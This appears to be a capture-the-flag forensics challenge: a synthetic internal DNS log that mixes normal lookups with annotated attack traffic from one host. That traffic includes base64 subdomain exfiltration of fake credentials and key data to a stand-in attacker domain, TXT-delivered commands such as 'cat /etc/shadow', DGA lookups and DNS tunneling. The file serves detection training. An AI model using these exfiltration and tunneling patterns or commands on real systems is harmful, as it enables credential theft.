# ============================================================
# CTF Challenge: DNS Query Log
# Resolver: 192.168.1.10 (internal DNS)
# Format: timestamp | src_ip | query_type | query_name | response
# Duration: 10-minute capture window
# ============================================================

2026-04-09 09:10:01.102 | 192.168.1.50  | A     | www.google.com.                          | 142.250.80.4
2026-04-09 09:10:01.340 | 192.168.1.50  | AAAA  | www.google.com.                          | 2607:f8b0:4004:800::2004
2026-04-09 09:10:05.221 | 192.168.1.105 | A     | github.com.                              | 140.82.114.3
2026-04-09 09:10:06.510 | 192.168.1.105 | A     | api.github.com.                          | 140.82.114.6
2026-04-09 09:10:10.881 | 192.168.1.50  | A     | mail.company-internal.com.               | 10.0.5.20

# --- SUSPICIOUS: DNS exfiltration via encoded subdomains ---
2026-04-09 09:10:15.442 | 192.168.1.200 | A     | aGVsbG8gd29ybGQ=.data.evil-domain.xyz.   | 127.0.0.1
2026-04-09 09:10:15.990 | 192.168.1.200 | A     | dGhpcyBpcyBzZWNyZXQ=.data.evil-domain.xyz. | 127.0.0.1
2026-04-09 09:10:16.521 | 192.168.1.200 | A     | Y3JlZGVudGlhbHM6YWRtaW4=.data.evil-domain.xyz. | 127.0.0.1
2026-04-09 09:10:17.102 | 192.168.1.200 | TXT   | cmd.evil-domain.xyz.                     | "d2hvYW1p" (base64: whoami)
2026-04-09 09:10:17.650 | 192.168.1.200 | A     | cGFzc3dvcmQ6UEBzc3cwcmQhMjM=.data.evil-domain.xyz. | 127.0.0.1

# --- Normal queries ---
2026-04-09 09:10:20.100 | 192.168.1.105 | A     | cdn.jsdelivr.net.                        | 104.16.88.20
2026-04-09 09:10:21.330 | 192.168.1.50  | A     | fonts.googleapis.com.                    | 216.58.214.10
2026-04-09 09:10:22.440 | 192.168.1.75  | A     | outlook.office365.com.                   | 52.97.151.18
2026-04-09 09:10:23.110 | 192.168.1.75  | MX    | company-internal.com.                    | 10 mail.company-internal.com.

# --- SUSPICIOUS: DGA-like domains (algorithmically generated) ---
2026-04-09 09:10:30.201 | 192.168.1.200 | A     | xk7rmq2p9v.com.                          | NXDOMAIN
2026-04-09 09:10:30.741 | 192.168.1.200 | A     | bw3tnf8kzj.com.                          | NXDOMAIN
2026-04-09 09:10:31.282 | 192.168.1.200 | A     | qm5vhd9r2y.net.                          | NXDOMAIN
2026-04-09 09:10:31.810 | 192.168.1.200 | A     | zt4plk7xn8.com.                          | NXDOMAIN
2026-04-09 09:10:32.350 | 192.168.1.200 | A     | fn9wjc3qm6.net.                          | 185.220.101.42
# NOTE: DGA domains — random character patterns, rapid sequential lookups, mostly NXDOMAIN

# --- Normal queries ---
2026-04-09 09:10:35.100 | 192.168.1.50  | A     | stackoverflow.com.                       | 151.101.1.69
2026-04-09 09:10:36.220 | 192.168.1.50  | A     | api.slack.com.                           | 18.164.80.5
2026-04-09 09:10:37.400 | 192.168.1.105 | A     | www.wikipedia.org.                       | 208.80.154.224

# --- SUSPICIOUS: More exfiltration chunks ---
2026-04-09 09:10:40.100 | 192.168.1.200 | A     | U1NIIGtleSBmb3IgYWRtaW4=.data.evil-domain.xyz. | 127.0.0.1
2026-04-09 09:10:40.651 | 192.168.1.200 | A     | LS0tLS1CRUdJTiBSU0E=.data.evil-domain.xyz. | 127.0.0.1
2026-04-09 09:10:41.200 | 192.168.1.200 | A     | UFJJVkFURSBLRVktLS0t.data.evil-domain.xyz. | 127.0.0.1
2026-04-09 09:10:41.750 | 192.168.1.200 | TXT   | cmd.evil-domain.xyz.                     | "Y2F0IC9ldGMvc2hhZG93" (base64: cat /etc/shadow)
2026-04-09 09:10:42.301 | 192.168.1.200 | A     | cm9vdDokNiRYWFhYWA==.data.evil-domain.xyz. | 127.0.0.1

# --- Normal queries ---
2026-04-09 09:10:45.100 | 192.168.1.75  | A     | login.microsoftonline.com.               | 20.190.159.0
2026-04-09 09:10:46.200 | 192.168.1.50  | A     | pypi.org.                                | 151.101.128.223
2026-04-09 09:10:47.310 | 192.168.1.105 | A     | registry.npmjs.org.                      | 104.16.24.35

# --- SUSPICIOUS: DNS tunneling indicators (TXT queries with large responses) ---
2026-04-09 09:10:50.100 | 192.168.1.200 | TXT   | t0.tunnel.evil-domain.xyz.               | "iVBORw0KGgoAAAANSUhEUgAAA..." (255 bytes)
2026-04-09 09:10:50.650 | 192.168.1.200 | TXT   | t1.tunnel.evil-domain.xyz.               | "AAAIBRK5ErkJggg0KGgoAAAA..." (255 bytes)
2026-04-09 09:10:51.201 | 192.168.1.200 | TXT   | t2.tunnel.evil-domain.xyz.               | "SUhEUgAAABkAAAAZCAYAAAA..." (255 bytes)
2026-04-09 09:10:51.750 | 192.168.1.200 | TXT   | t3.tunnel.evil-domain.xyz.               | "LENBVElPTiBORVRXT1JLPQ..." (255 bytes)
# NOTE: Sequential TXT queries to numbered subdomains — classic DNS tunneling download

# --- More DGA lookups ---
2026-04-09 09:10:55.100 | 192.168.1.200 | A     | hj6wnp4mk9.com.                          | NXDOMAIN
2026-04-09 09:10:55.640 | 192.168.1.200 | A     | rv2xbg7tl5.net.                          | NXDOMAIN
2026-04-09 09:10:56.180 | 192.168.1.200 | A     | yd8qkf3ns1.com.                          | 185.220.101.42

# --- Normal queries ---
2026-04-09 09:11:00.100 | 192.168.1.50  | A     | docs.python.org.                         | 151.101.128.223
2026-04-09 09:11:01.210 | 192.168.1.75  | A     | teams.microsoft.com.                     | 52.113.194.132
2026-04-09 09:11:02.320 | 192.168.1.105 | A     | avatars.githubusercontent.com.           | 185.199.108.133
2026-04-09 09:11:03.430 | 192.168.1.50  | A     | www.reddit.com.                          | 151.101.1.140
2026-04-09 09:11:04.540 | 192.168.1.50  | AAAA  | www.reddit.com.                          | 2a04:4e42::396

# --- SUSPICIOUS: Final exfiltration burst ---
2026-04-09 09:11:10.100 | 192.168.1.200 | A     | ZGF0YWJhc2UuZHVtcC5zcWw=.data.evil-domain.xyz. | 127.0.0.1
2026-04-09 09:11:10.650 | 192.168.1.200 | A     | Q1JFQVRFIFRBQkxFIHVzZXJz.data.evil-domain.xyz. | 127.0.0.1
2026-04-09 09:11:11.201 | 192.168.1.200 | A     | SU5TRVJUIElOVE8gdXNlcnM=.data.evil-domain.xyz. | 127.0.0.1
